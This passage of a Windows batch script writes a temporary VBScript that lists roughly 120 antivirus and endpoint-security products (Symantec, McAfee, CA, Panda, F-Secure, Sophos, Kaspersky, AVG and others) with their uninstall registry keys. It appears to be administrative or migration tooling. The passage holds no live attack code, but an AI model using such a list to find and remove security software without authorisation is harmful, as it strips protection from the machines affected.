    echo AppName(77)="Symantec Endpoint Protection 11.0.780.1109" >>temp.vbs
    echo Keys(77)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{FB8A4E30-9915-4814-ADF9-42E00D9FDC3D}" >>temp.vbs

    echo AppName(78)="Symantec Endpoint Protection 11.0.780.1109 x64" >>temp.vbs
    echo Keys(78)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AEEE3540-F708-453C-910E-0CE78AF433CA}" >>temp.vbs

    echo AppName(79)="Symantec Endpoint Protection 11.0.2010.25" >>temp.vbs
    echo Keys(79)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{2E2966EA-2169-4E42-8A8A-CC1749D80088}" >>temp.vbs

    echo AppName(80)="Symantec Endpoint Protection 11.0.3001.2224" >>temp.vbs
    echo Keys(80)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{49C27FB0-CEEF-4A11-8114-0BFE336D3884}" >>temp.vbs

    echo AppName(81)="Symantec Endpoint Protection 11.0.3001.2224 x64" >>temp.vbs
    echo Keys(81)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{908C6647-E399-44E7-99E9-D7E9CE5E3715}" >>temp.vbs

    echo AppName(82)="Symantec Endpoint Protection 11.0.4000.2295" >>temp.vbs
    echo Keys(82)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3BAB4914-9CC1-4CC2-A3DA-56EF62DFD373}" >>temp.vbs

    echo AppName(83)="Symantec Endpoint Protection 11.0.4000.2295 x64" >>temp.vbs
    echo Keys(83)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{12F5D482-1F43-4708-BCC5-031F10A08949}" >>temp.vbs

    echo AppName(84)="Symantec Endpoint Protection 11.0.6005.562" >>temp.vbs
    echo Keys(84)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{0A2163CB-4F47-44AA-A219-36133260CF17}" >>temp.vbs

    echo AppName(85)="Symantec Quarantine Console 3.5.0" >>temp.vbs
    echo Keys(85)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{86A46236-C44B-4217-81E9-6B691C82E1DD}" >>temp.vbs

    echo AppName(86)="Symantec Quarantine Server 3.5.0" >>temp.vbs
    echo Keys(86)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{2BEE3B33-03F4-4544-BBD0-F7D2840DF66F}" >>temp.vbs

    echo AppName(87)="Symantec Packager" >>temp.vbs
    echo Keys(87)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E8A4D550-6301-449F-B7A3-7413F4180F80}" >>temp.vbs

    echo AppName(88)="Symantec Client Security 11.0.780.1109" >>temp.vbs
    echo Keys(88)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{FB8A4E30-9915-4814-ADF9-42E00D9FDC3D}" >>temp.vbs

    echo AppName(89)="Symantec Client Security 10.1.6000.6" >>temp.vbs
    echo Keys(89)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D0E46FF4-2775-4BD9-9467-B62B702D470E}" >>temp.vbs

    echo AppName(90)="Symantec Client Security 10.1.4000.4" >>temp.vbs
    echo Keys(90)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C20729A4-C8C2-4DE3-94BE-5E3A2E9EFB63}" >>temp.vbs

    echo AppName(91)="Symantec Client Security 10.1.394.0" >>temp.vbs
    echo Keys(91)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{473AF7D0-B864-4699-9974-DF570C5B6DCE}" >>temp.vbs

    echo AppName(92)="Symantec AMS Server" >>temp.vbs
    echo Keys(92)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1FB9B789-CFB6-48CD-A579-1D0A30F36435}" >>temp.vbs

    echo AppName(93)="McAfee Anti-Spyware Enterprise 8.0" >>temp.vbs
    echo Keys(93)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VSEMAS__8000" >>temp.vbs

    echo AppName(94)="McAfee VirusScan Enterprise 7.1" >>temp.vbs
    echo Keys(94)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN7100" >>temp.vbs

    echo AppName(95)="McAfee VirusScan Enterprise 7" >>temp.vbs
    echo Keys(95)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN7000" >>temp.vbs

    echo AppName(96)="McAfee VirusScan Enterprise 8.0" >>temp.vbs
    echo Keys(96)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN8000" >>temp.vbs

    echo AppName(97)="McAfee Desktop Firewall 8.0" >>temp.vbs
    echo Keys(97)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\FIREWALL8000" >>temp.vbs

    echo AppName(98)="McAfee VirusScan Enterprise 8.5" >>temp.vbs
    echo Keys(98)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN8600" >>temp.vbs

    echo AppName(99)="McAfee VirusScan Enterprise 8.7.0.570" >>temp.vbs
    echo Keys(99)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN8700" >>temp.vbs

    echo AppName(100)="McAfee VirusScan TC" >>temp.vbs
    echo Keys(100)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN6100" >>temp.vbs

    echo AppName(101)="McAfee VirusScan ASaP" >>temp.vbs
    echo Keys(101)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\myCIO.com VirusScanASaP" >>temp.vbs

    echo AppName(102)="Mcafee Managed VirusScan" >>temp.vbs
    echo Keys(102)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MVS" >>temp.vbs

    echo AppName(103)="McAfee Firewall Protection Service" >>temp.vbs
    echo Keys(103)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\McAfee Managed Firewall" >>temp.vbs

    echo AppName(104)="McAfee Browser Protection Service" >>temp.vbs
    echo Keys(104)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\McAfee SiteAdvisor" >>temp.vbs

    echo AppName(105)="McAfee Internet Security 6.0" >>temp.vbs
    echo Keys(105)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{56D45213-8AD9-46C5-A393-EB21A760DD43}" >>temp.vbs

    echo AppName(106)="McAfee VirusScan Professional 9.0" >>temp.vbs
    echo Keys(106)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VirusScan Online" >>temp.vbs

    echo AppName(107)="McAfee SpamKiller" >>temp.vbs
    echo Keys(107)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\McAfee SpamKiller" >>temp.vbs

    echo AppName(108)="McAfee SecurityCenter" >>temp.vbs
    echo Keys(108)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mcafee SecurityCenter" >>temp.vbs

    echo AppName(109)="McAfee VirusScan NT" >>temp.vbs
    echo Keys(109)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VirusScan NT" >>temp.vbs

    echo AppName(110)="McAfee VirusScan 4.5" >>temp.vbs
    echo Keys(110)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN4500" >>temp.vbs

    echo AppName(111)="McAfee VirusScan 4.51" >>temp.vbs
    echo Keys(111)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN6500" >>temp.vbs

    echo AppName(112)="McAfee VirusScan 6.01" >>temp.vbs
    echo Keys(112)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{87AEFD84-BC0D-11D4-B885-00508B022A51}" >>temp.vbs

    echo AppName(113)="McAfee VirusScan 95(1)" >>temp.vbs
    echo Keys(113)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VirusScan" >>temp.vbs

    echo AppName(114)="McAfee VirusScan 95(2)" >>temp.vbs
    echo Keys(114)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\McAfee VirusScan" >>temp.vbs

    echo AppName(115)="McAfee VirusScan(MSPlus98)" >>temp.vbs
    echo Keys(115)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Plus98" >>temp.vbs

    echo AppName(116)="McAfee WebScanX v3.1.6" >>temp.vbs
    echo Keys(116)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\McAfee WebScanX" >>temp.vbs

    echo AppName(117)="McAfee ePolicy Orchestrator Agent 1.x" >>temp.vbs
    echo Keys(117)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\ePOAgent1000" >>temp.vbs

    echo AppName(118)="McAfee ePolicy Orchestrator Agent 2.x" >>temp.vbs
    echo Keys(118)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\ePOAgent2000" >>temp.vbs

    echo AppName(119)="McAfee ePolicy Orchestrator Agent 3.x" >>temp.vbs
    echo Keys(119)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\ePOAgent3000" >>temp.vbs

    echo AppName(120)="Dr.Solomon 4.0.3" >>temp.vbs
    echo Keys(120)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Dr Solomon’s VirusScan" >>temp.vbs

    echo AppName(121)="Dr.Solomon 4.0.3 NT" >>temp.vbs
    echo Keys(121)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Dr Solomon’s VirusScan NT" >>temp.vbs

    echo AppName(122)="Dr Solomon 7.77" >>temp.vbs
    echo Keys(122)="HKEY_LOCAL_MACHINE\SOFTWARE\Dr Solomon’s Software\Anti-Virus" >>temp.vbs

    echo AppName(123)="CA eTrust InoculateIT 7.0" >>temp.vbs
    echo Keys(123)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\eTrust Antivirus" >>temp.vbs

    echo AppName(124)="CA eTrust 7.1.0194" >>temp.vbs
    echo Keys(124)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{6A120E99-3123-4CB2-9A02-D24784F4BC8C}" >>temp.vbs

    echo AppName(125)="CA eTrust 7.1" >>temp.vbs
    echo Keys(125)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{99747F0D-D4F8-4877-9CA0-4AE96D963633}" >>temp.vbs

    echo AppName(126)="CA InocuLAN_NT 4.53" >>temp.vbs
    echo Keys(126)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\InoculateIT for Windows NT" >>temp.vbs

    echo AppName(127)="CA InoculateIT Clients for Windows 6.0" >>temp.vbs
    echo Keys(127)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\InoculateIT" >>temp.vbs

    echo AppName(128)="CA eTrust InoculateIT 6.0" >>temp.vbs
    echo Keys(128)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\eTrust InoculateIT" >>temp.vbs

    echo AppName(129)="CA InocuLAN 5" >>temp.vbs
    echo Keys(129)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VETWIN32Vp5" >>temp.vbs

    echo AppName(130)="CA eTrustITM Server 8.0" >>temp.vbs
    echo Keys(130)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{B05B217B-78EA-4383-A5C6-88F8D0A6B204}" >>temp.vbs

    echo AppName(131)="CA eTrustITM Agent 8.0" >>temp.vbs
    echo Keys(131)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A73227F9-C4B0-4018-B0B0-4DCAF791A29E}" >>temp.vbs

    echo AppName(132)="CA eTrust ITM Agent 8.1.637" >>temp.vbs
    echo Keys(132)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{107558C8-458B-45EA-A0FE-7CC10D687DB6}" >>temp.vbs

    echo AppName(133)="CA eTrustITM Server 8.1.655" >>temp.vbs
    echo Keys(133)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4A2635AD-91E0-4758-BD1E-CA57C9294F1F}" >>temp.vbs

    echo AppName(134)="CA eTrust ITM Agent 8.1.655" >>temp.vbs
    echo Keys(134)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{85F88F9C-6EB2-426B-88AB-28DA4A3526B9}" >>temp.vbs

    echo AppName(135)="CA iTechnology iGateway 4.0" >>temp.vbs
    echo Keys(135)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4E2EA248-BDE8-4DE7-B51D-D46A2B7581F2}" >>temp.vbs

    echo AppName(136)="CA iTechnology iGateway 4.2.0.1" >>temp.vbs
    echo Keys(136)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{54056D16-28C6-4673-BC84-77DA7553EF70}" >>temp.vbs

    echo AppName(137)="CA iTechnology iGateway 4.2.0.2" >>temp.vbs
    echo Keys(137)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{847501DF-07C0-4691-B04A-893929F108AE}" >>temp.vbs

    echo AppName(138)="Cheyenne AntiVirus 9X" >>temp.vbs
    echo Keys(138)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Cheyenne AntiVirus" >>temp.vbs

    echo AppName(139)="Cheyenne AntiVirus NT" >>temp.vbs
    echo Keys(139)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\InocuLAN for Windows NT" >>temp.vbs

    echo AppName(140)="V3Pro 2000 Deluxe" >>temp.vbs
    echo Keys(140)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\V3Pro 2000 Deluxe" >>temp.vbs

    echo AppName(141)="V3Pro 98 Deluxe" >>temp.vbs
    echo Keys(141)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\V3Pro 98 Deluxe" >>temp.vbs

    echo AppName(142)="V3Pro 98" >>temp.vbs
    echo Keys(142)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\V3Pro 98" >>temp.vbs

    echo AppName(143)="Panda Platinum Internet Security 2004/2005" >>temp.vbs
    echo Keys(143)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E91563B4-D9EC-11D5-A2BB-00606771B69D}" >>temp.vbs

    echo AppName(144)="Panda Titanium Antivirus 2004" >>temp.vbs
    echo Keys(144)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BB85F18B-43C6-48B5-ABA9-6A5DDA65AA1B}" >>temp.vbs

    echo AppName(145)="Panda Titanium Antivirus 2006" >>temp.vbs
    echo Keys(145)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{98032D6F-3EE6-4646-B68C-40BF012AC89B}" >>temp.vbs

    echo AppName(146)="Panda Titanium Antivirus 2007" >>temp.vbs
    echo Keys(146)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D1DA2BA7-2592-4036-9BB2-DCCABDE8DC1A}" >>temp.vbs

    echo AppName(147)="Panda Antivirus Local Networks" >>temp.vbs
    echo Keys(147)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Panda Antivirus Local Networks" >>temp.vbs

    echo AppName(148)="Panda Antivirus 6.0" >>temp.vbs
    echo Keys(148)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Panda Antivirus 6.0 Platinum" >>temp.vbs

    echo AppName(149)="Panda Antivirus Windows NT WS" >>temp.vbs
    echo Keys(149)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Panda Antivirus Windows NT WS 4.0" >>temp.vbs

    echo AppName(150)="Panda Administrator 2006" >>temp.vbs
    echo Keys(150)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{57675F06-EF3D-467C-B6DB-5EC6C200A3F3}" >>temp.vbs

    echo AppName(151)="Panda AdminSecure Reports Component" >>temp.vbs
    echo Keys(151)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{63F20384-30A9-48E2-86E3-DDBF95992070}" >>temp.vbs

    echo AppName(152)="Panda FileSecure" >>temp.vbs
    echo Keys(152)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AVNT" >>temp.vbs

    echo AppName(153)="Panda CVPSecure" >>temp.vbs
    echo Keys(153)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Panda CVPSecure" >>temp.vbs

    echo AppName(154)="Panda FileSecure Workstation" >>temp.vbs
    echo Keys(154)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AVTC" >>temp.vbs

    echo AppName(155)="Panda Communucation Agent 3.0 NT" >>temp.vbs
    echo Keys(155)="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PAVAGENTE" >>temp.vbs

    echo AppName(156)="F-Secure Anti-Virus 2008" >>temp.vbs
    echo Keys(156)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Product 303" >>temp.vbs

    echo AppName(157)="F-Secure Internet Security 2008" >>temp.vbs
    echo Keys(157)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Product 444" >>temp.vbs

    echo AppName(158)="F-Secure Internet Security 2005" >>temp.vbs
    echo Keys(158)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BackWeb-4476822 Uninstaller" >>temp.vbs

    echo AppName(159)="F-Secure Client Security 7.10 – E-mail Scanning" >>temp.vbs
    echo Keys(159)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure E-mail Scanning" >>temp.vbs

    echo AppName(160)="F-Secure Client Security 7.10 – System Control" >>temp.vbs
    echo Keys(160)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure HIPS" >>temp.vbs

    echo AppName(161)="F-Secure Client Security 7.10 – Internet Shield" >>temp.vbs
    echo Keys(161)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Internet Shield" >>temp.vbs

    echo AppName(162)="F-Secure Client Security 7.10 – Web Traffic Scanning" >>temp.vbs
    echo Keys(162)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Protocol Scanner" >>temp.vbs

    echo AppName(163)="F-Secure Client Security 7.10" >>temp.vbs
    echo Keys(163)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Anti-Virus" >>temp.vbs

    echo AppName(164)="F-Secure E-mail Scanning" >>temp.vbs
    echo Keys(164)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure E-mail Scanning" >>temp.vbs

    echo AppName(165)="F-Secure Internet Shield" >>temp.vbs
    echo Keys(165)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Internet Shield" >>temp.vbs

    echo AppName(166)="F-Secure Web Traffic Scan" >>temp.vbs
    echo Keys(166)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Protocol Scanner" >>temp.vbs

    echo AppName(167)="F-Secure 4.08" >>temp.vbs
    echo Keys(167)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Anti-Virus" >>temp.vbs

    echo AppName(168)="F-Secure BackWeb" >>temp.vbs
    echo Keys(168)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure BackWeb" >>temp.vbs

    echo AppName(169)="F-Secure 4.04" >>temp.vbs
    echo Keys(169)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Anti-Virus" >>temp.vbs

    echo AppName(170)="F-Secure Management Agent" >>temp.vbs
    echo Keys(170)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Management Agent" >>temp.vbs

    echo AppName(171)="Sophos Anti-Virus NT 7.0" >>temp.vbs
    echo Keys(171)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{034759DA-E21A-4795-BFB3-C66D17FAD183}" >>temp.vbs

    echo AppName(172)="Sophos Anti-Virus NT" >>temp.vbs
    echo Keys(172)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sophos-SweepNT" >>temp.vbs

    echo AppName(173)="Sophos Remote Management System" >>temp.vbs
    echo Keys(173)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{FF11005D-CBC8-45D5-A288-25C7BB304121}" >>temp.vbs

    echo AppName(174)="Sophos Anti-Virus NT 5.0" >>temp.vbs
    echo Keys(174)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{09C6BF52-6DBA-4A97-9939-B6C24E4738BF}" >>temp.vbs

    echo AppName(175)="Sophos AutoUpdate 1.4.0" >>temp.vbs
    echo Keys(175)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C12953C2-4F15-4A6C-91BC-511B96AE2775}" >>temp.vbs

    echo AppName(176)="Sophos AutoUpdate 2.0.2" >>temp.vbs
    echo Keys(176)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{15C418EB-7675-42be-B2B3-281952DA014D}" >>temp.vbs

    echo AppName(177)="Sophos Anti-Virus 9X" >>temp.vbs
    echo Keys(177)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sophos-Sweep95" >>temp.vbs

    echo AppName(178)="ViRobot Desktop 5.5" >>temp.vbs
    echo Keys(178)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ViRobot Desktop 5.5" >>temp.vbs

    echo AppName(179)="ViRobot ISMS client 3.5" >>temp.vbs
    echo Keys(179)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ViRobot ISMS Client 3.5" >>temp.vbs

    echo AppName(180)="ViRobot 2k Professional" >>temp.vbs
    echo Keys(180)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ViRobot 2000 Professional" >>temp.vbs

    echo AppName(181)="ViRobot Expert 4.0" >>temp.vbs
    echo Keys(181)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A891D097-880A-41BB-8F86-A0D09E8D295F}" >>temp.vbs

    echo AppName(182)="Command AV 4.64 9x" >>temp.vbs
    echo Keys(182)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\F-PROT 95" >>temp.vbs

    echo AppName(183)="Command AntiVirus for Windows 2000/XP" >>temp.vbs
    echo Keys(183)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{B9A1C20C-ADA2-4C1A-B71D-72EBF4885695}" >>temp.vbs

    echo AppName(184)="Command AV 4.8 Enterprise" >>temp.vbs
    echo Keys(184)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C76FB59A-5C20-446E-91D3-D3071B56E3F7}" >>temp.vbs

    echo AppName(185)="Command AV 4.8 Standalone" >>temp.vbs
    echo Keys(185)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{0437404B-17E0-48A5-BD03-CC9AEE7C3DDF}" >>temp.vbs

    echo AppName(186)="Command AV 4.9 Standalone" >>temp.vbs
    echo Keys(186)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9FBFAD2E-8FDC-437B-8EE2-CF7A3A760850}" >>temp.vbs

    echo AppName(187)="Command AV 4.90.0 Standalone" >>temp.vbs
    echo Keys(187)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{545F4C9E-BBE7-4505-83DC-38EAD0763250}" >>temp.vbs

    echo AppName(188)="Command AV 4.91.0 Enterprise" >>temp.vbs
    echo Keys(188)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{824DAF53-FFB1-46C9-8FED-0B88678B73F4}" >>temp.vbs

    echo AppName(189)="Command AV 4.93.8 Standalone" >>temp.vbs
    echo Keys(189)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{B23C95F0-C53E-4E70-9D56-833C9DB64D25}" >>temp.vbs

    echo AppName(190)="Command AntiVirus for Windows Enterprise 4.9x" >>temp.vbs
    echo Keys(190)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{51DB025A-6EA1-4D86-9F26-27F3993F77AE}" >>temp.vbs

    echo AppName(191)="Kaspersky (TM) Anti-Virus Personal 4.0" >>temp.vbs
    echo Keys(191)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7F5E2A5A-92C5-4DF1-808D-1688C50CBFEE}" >>temp.vbs

    echo AppName(192)="Kaspersky (TM) Anti-Virus 5.0 for Windows Workstation" >>temp.vbs
    echo Keys(192)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\InstallShield_{90467142-F6B5-48B5-9A46-AFE61C4598CA}" >>temp.vbs

    echo AppName(193)="Kaspersky Anti-Virus 5.0 for Windows Workstations" >>temp.vbs
    echo Keys(193)="HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\Components\34\Workstation\5.0.0.0\Installer" >>temp.vbs

    echo AppName(194)="Kaspersky Anti-virus 6.0" >>temp.vbs
    echo Keys(194)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\InstallWIX_{D0DCD54F-C829-41A5-AF32-71E632BB0E2C}" >>temp.vbs

    echo AppName(195)="Kaspersky Anti-virus 6.0.3.837" >>temp.vbs
    echo Keys(195)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\InstallWIX_{79B986AD-54D8-4498-AA06-89808829ACC0}" >>temp.vbs

    echo AppName(196)="Tegam ViGUARD 9.25e for Windows NT" >>temp.vbs
    echo Keys(196)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ViGUARD" >>temp.vbs

    echo AppName(197)="Grisoft AVG 6.0" >>temp.vbs
    echo Keys(197)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AVG6INSTALL" >>temp.vbs

    echo AppName(198)="Grisoft AVG 7.0" >>temp.vbs
    echo Keys(198)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AVG7Uninstall" >>temp.vbs

    echo AppName(199)="Grisoft AVG 8.0" >>temp.vbs
